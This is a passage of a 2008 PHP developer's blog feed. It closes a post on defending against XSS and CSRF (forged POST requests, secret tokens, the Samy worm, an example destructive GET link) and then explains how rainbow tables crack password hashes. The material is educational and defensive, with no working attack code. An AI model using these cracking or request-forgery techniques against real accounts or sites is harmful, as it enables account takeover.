</code></pre>
<p>Your site will receive an apparently valid POST request to reset the user&#8217;s password. Because the request is sent from the victim&#8217;s browser (without them knowing) it will contain a valid cookie. You need to have some way of filtering out these bogus requests from legitimate ones.</p>
<p>The &#8220;<a href="http://namb.la/popular/">Samy is my Hero</a>&#8221; MySpace worm used a MySpace XSS hole and bogus POST requests to spread.</p>
<p>If you are modifying data through GET requests then you have an even bigger problem. An attacker could post a link on your own site to a malicious URL: e.g. <code>http://www.your-site.com/blog/delete?id=1</code>	. No filtering is going to remove this URL because it is perfectly legitimate. Do not ever allow users to modify anything with a GET request.</p>
<h2>Preventing Bogus Requests</h2>
<p>There are a few things you can do to prevent rogue POST requests on your site. A malicious website can have a hidden form that submits to your site, but no third-party site can ever read the DOM structure of your site through the victim&#8217;s browser.<br />
Many sites take advantage of this security restriction by introducing a two step process for any form data.</p>
<ol>
<li>User performs a GET on <code>delete.php</code>. This page does not modify any data.</li>
<li>Site creates a unique token and adds it to the user&#8217;s session.</li>
<li>Site returns a page containing a POST form pointing to <code>delete_process.php</code>.</li>
<li>The user submits the form.</li>
<li><code>delete_process.php</code> does the actual deletion only if the user has performed a POST request and the request includes the token generated in step 2.</li>
<li>For good practice the server should redirect the user to a page that confirms their action (this is known as the <a href="http://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get pattern</a>)</li>
</ol>
<p>This method will thwart a malicious POST coming from the third party site, as the third part can never read the secret token we generate, and therefore their request will be rejected.</p>
<p>At the time of the &#8220;Samy&#8221; worm MySpace was actually implementing the two-step process described above. However, because the attacker had discovered an XSS hole in MySpace, he was able to spread the worm from within the MySpace.com domain and could use XMLHTTPRequests to read the unique token.</p>
<p class="aside">Note: You may think that checking referrer values is a good way to stop bogus requests. Unfortunately there have also been known vulnerabilities which allow an attacker to spoof referrer headers. In addition to this, many users browse with referrers turned off or deliberately set to an incorrect value.</p>
<h2>Watch Your Subdomains</h2>
<p>It is common for many third-part scripts like WordPress or PHPBB to be vulnerable to XSS attacks. You may think that by hosting the package on a separate subdomain (e.g. forum.your-site.com) would keep you safe but an attacker can use JavaScript&#8217;s <code>document.domain</code> setting to make XMLHTTPRequests and read cookies from your top level domain (e.g. &#8220;your-site.com&#8221;). However, they will not be able to attack any other subdomains. If you main site is located at www.your-site.com and cookies are set to be readable to &#8220;.www.your-site.com&#8221; then your main site will be safe.</p>
<h2>HTTP Only Cookies</h2>
<p>Another promising candidate in the fight against XSS attacks is the <a href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx">HTTP only cookie</a>, a proprietary extension created by Microsoft that would stop scripts from reading cookies that should only be read by the server.</p>
<h2>Final Thoughts</h2>
<p>Be careful with your JavaScript, you could wind up undoing all the careful work you did in your server side code, just as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272620">BugZilla</a> did.</p>
<p>Pick a content encoding and stick to it. This has even <a href="http://shiflett.org/blog/2005/dec/googles-xss-vulnerability">caught out Google</a>. Use the same character encoding in your HTML meta tags as you pass to <code>htmlspecialchars</code>. UTF-8 is always a safe bet.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code - Server Security</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code - Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Rainbow Tables</title>
		<link>http://joshduck.com/blog/2008/02/08/rainbow-tables/</link>
		<comments>http://joshduck.com/blog/2008/02/08/rainbow-tables/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 12:02:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[hacks]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/02/08/rainbow-tables/</guid>
		<description><![CDATA[ 	
To most of you the term ‘rainbow table’ is probably familiar. You are probably aware that they are used to aid the reversing of one-way hashes, usually when trying to crack a password. I personally think that they are a nifty little hack, and so I’d like to explain a little about how they [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 10px; float: right"> 	<a href="http://flickr.com/photos/tym/427868365/" target="_blank"><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/427868365_d2d629c575_small.jpg" alt="Rainbox over Vancouver - by Progie" /></a></p>
<p>To most of you the term ‘rainbow table’ is probably familiar. You are probably aware that they are used to aid the reversing of one-way hashes, usually when trying to crack a password. I personally think that they are a nifty little hack, and so I’d like to explain a little about how they are implemented.</p>
<h2>Back to Square One</h2>
<p>When storing a password, any developer worth their salt is going to hash it using a one-way hashing function. This lets them check that a given password is valid, without risking the possibility that someone could steal their user&#8217;s passwords plain text passwords <a href="http://blog.moertel.com/articles/2006/12/15/never-store-passwords-in-a-database">*cough*</a>.</p>
<p>Of course, if that was a foolproof method of protecting passwords then this would be a very short post. If you do happen to find yourself in possession of a hashed password and you want to recover the plain text password then you need to figure our how to crack it. You can&#8217;t reverse a hash but you can try and search for a text string that produces an identical hash. The obvious method of attacking a password hash is a brute force attack. You can generate a list of every possible password and hash each until you have output that matches you hashed password.</p>
<p>The simplicity of this solution is defeated by the fact that you are going to be trying a lot of combinations to find your target. Say you’re searching for a five character password containing lowercase letters only. A naïve search is going to produce 26^5 possibilities. That’s 11,881,376 tests to find a very trivial password. Even if you are testing thousands of hashes a second it could take hours to find a match. If you’re clever then you’ll prepare a collection of passwords that require cracking so you can process them all at once. One sweep through all possible passwords will be enough to complete your entire collection.</p>
<p>This reuse of generated hashes leads us to the next obvious improvement; what if we save all possible passwords and hashes in a table and just do a quick lookup whenever we have a hash to check? This seems like an ideal solution at first glance, however when you look more deeply you’ll begin to appreciate exactly how much memory this would require. Each password is 5 bytes and its associated MD5 hash is 16 bytes. The minimum storage required for a naïve lookup table is (16 + 5) bytes x 11,881,376 possibilities. That’s 200MB. Don’t forget that we’re talking about 5 letter passwords here. Any increase in complexity (either in length or possible characters) increases the size requirements exponentially. To crack a secure password would require petabytes of storage for our table. Storing and searching that data efficiently becomes a whole new problem (Google has managed to <a href="http://www.google.com/search?q=3858f62230ac3c915f300c664312c63f">inadvertently solve this problem</a>).</p>
<p>So there you have it, the two problems we face are time and memory. What we need is a compromise. Wouldn’t it be fantastic if we could only store every thousandth hash, and extrapolate from there? The most obvious problem with that is that hashes are evenly distributed. Two passwords that vary by a single letter produce hashes that are as different as passwords that are completely different. So as it becomes difficult to use the hash/plain text passwords pairs we know to crack hashes we aren&#8217;t storing a plain text value for. Rainbow tables get around this in an interesting way.</p>
<p><span id="more-8"></span></p>
<h2>The Basic Principle</h2>
<p>A rainbow table consists of many chains of alternating hashes and passwords. A single chain may look something like this.</p>
<p><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/rainbow.png" alt="Rainbow Table" /></p>
<p>A rainbow table will consist of thousands of these chains. The memory saving comes from the fact that we only ever store the start and end points of a chain; we can easily regenerate the rest of the chain when we need it.</p>
<p>So how does having these chains actually help us? That’s easy. We need to find the chain that contains the hash we are searching for. Let’s say that the hash we are trying to reverse is ‘289a39228b559710d307f7946b3ff94c’ - the second hash in the example chain above. We take our hash, and start creating a new chain:‘ormsp’, ‘d6b50f1a12572d77e136a8adff41a0fb’, etc. At each step, we check whether we have created a link that matches the end point of a pre-calculated chain (in this case looking for ‘sldep’). When we do find a match, we know we’ve found a chain that contains our password.</p>
<p>Our work is not done yet though. We take the chain we just found and start populating it from ‘aaaaa’ onwards. Once complete we have a complete chain of hashes and passwords in memory, and we can now travel backwards from our original hash to see that our password is ‘brsoh’ (anyone with the password of ‘brsoh’ is advised to change it now - it’s wasn’t a very good password anyway).</p>
<p>The only missing piece now is knowing how we determine that the step immediately after ‘96948aad3fcae80c08a35c9b5958cd89’should be ‘ormsp’? The answer to that is that there is nothing special about that value. We can use any algorithm that takes a 16 byte input (the hash) and generates a 5 letter passwords. This is our reduction function. The implementation is irrelevant as long as it consistently generates 5 letter plain text words when given a hash value as input.</p>
<p>So that is essentially the magic of rainbow tables. They’re both elegant and simple. There are a few minor details that I’ve skipped for now. They deal with a few problems that arise from implementation described above.</p>
<h2>Coverage</h2>
<p>The first problem is that a rainbow table can’t guarantee that it contains every single possible password. The output of our reduction function is evenly distributed across all possible passwords. Once our rainbow table contains 90% of all of possible plain text passwords, anything the reduction function outputs has a 90% chance of being a duplicate password. The more chains we generate, the more duplicates and the more wasted memory we get. The problem becomes exponentially worse as you attempt to increase coverage. There has to be a point at which you say enough is enough and live with the trade-off between the coverage you have and the memory your rainbow tables occupies.</p>
<h2>Collisions</h2>
<p>The second problem is related to the first. When we are generating chain and we create a plain text password that already exists in another chain, we are going to start following the same path as the other chain. This is referred to as <em>merging</em>. <span> </span></p>
<p><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/rainbow-2.png" alt="Collisions and merging in a rainbow table" /></p>
<p>Note how the two yellow sections are identical for two chains with completely separate starting points.</p>
<p>This is a big problem because, as stated before, the chances of reduplicating a password are very high. We will have entire chains that are almost identical to other chains. That leads to a huge waste of space. We could even end up generating the same password within a single chain, leading to an infinite loop.</p>
<p><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/rainbow-3.png" alt="Loops in a rainbow table" /></p>
<p>We can do checks for loops, but that would add extra complexity to the code.</p>
<h2>Solving Merging</h2>
<p>Following on from the elegance of the main algorithm, the solution for merging and loops is very simple. It is also what separate rainbow tables from other cracking algorithms that use chains. What rainbow tables do is use a different reduction function for each step of the chain.</p>
<p><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/rainbow-4.png" alt="Rainbow table with varying reduction functions" /></p>
<p>The above illustration should give you a hint at why rainbow tables are so named.</p>
<p>This approach completely eliminates loops because a reduction function is never reused in the same chain. It will also cut down on merging between two chains because if the merging occurs at different steps in the chains (which is most of the time) the different reduction functions let the chains diverge naturally.</p>
<p>The differences between reductions function doesn’t even have to be very large. It just has to be enough that two reduction functions with the same input will output two different passwords.</p>
<h2>Adjusting the Cracking Stage</h2>
<p>The change will mean that our cracking stage needs a little adjustment. We will need to test the hash we are trying to crack against each possible reduction function. To do this we’ll need to ensure that there are fixed number of steps in each chain. We then pick a step to build from and complete the chain. For efficiency we work from the very last reduction function to the first.</p>
<p><img src="http://joshduck.com/blog/wp-content/uploads/2008/02/rainbow-5.png" alt="Cracking using a rainbow table" /></p>
<p>Note how the output of the reduction function changes even though we are using the same input.</p>
<h2>Do You Want to Know More?</h2>
<p>Co there you have it. Everything there is to know about rainbow tables. They&#8217;re nothing new, but their implementation is something that should be simple enough for any programmer to understand and appreciate. If you&#8217;re looking for more information then the following links may help you out.</p>
<ul>
<li>The mandatory <a href="http://en.wikipedia.org/wiki/Rainbow_table">Wikipedia link</a> for those who want more technical details.</li>
<li><a href="http://www.codinghorror.com/blog/archives/000949.html">Jeff Atwood</a> tries out some available packaged rainbow tables and gives some misguided advice on protecting your passwords.</li>
<li><a href="http://www.matasano.com/log/958/enough-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/">Thomas Ptacek</a> has written a great post on how you can really protect your passwords. Basically his advice boils down to &quot;don&#8217;t write your own security algorithms&quot;.</li>
<li><a href="http://www.antsight.com/zsl/rainbowcrack/">RainbowCrack</a> is an general Rainbow Table implentation, and the source is available for download.</li>
<li>Martin Hellman originally <a href="http://lasecwww.epfl.ch/php_code/publications/search.php?ref=Oech03">proposed the idea of a time-memory trade-off</a> for password cracking in 1982.</li>
<li>The <a href="http://flickr.com/photos/tym/427868365/" target="_blank">fantastic photo</a> at the top of the post kindly released under the creative commons by Proggie.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/02/08/rainbow-tables/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.524 seconds -->
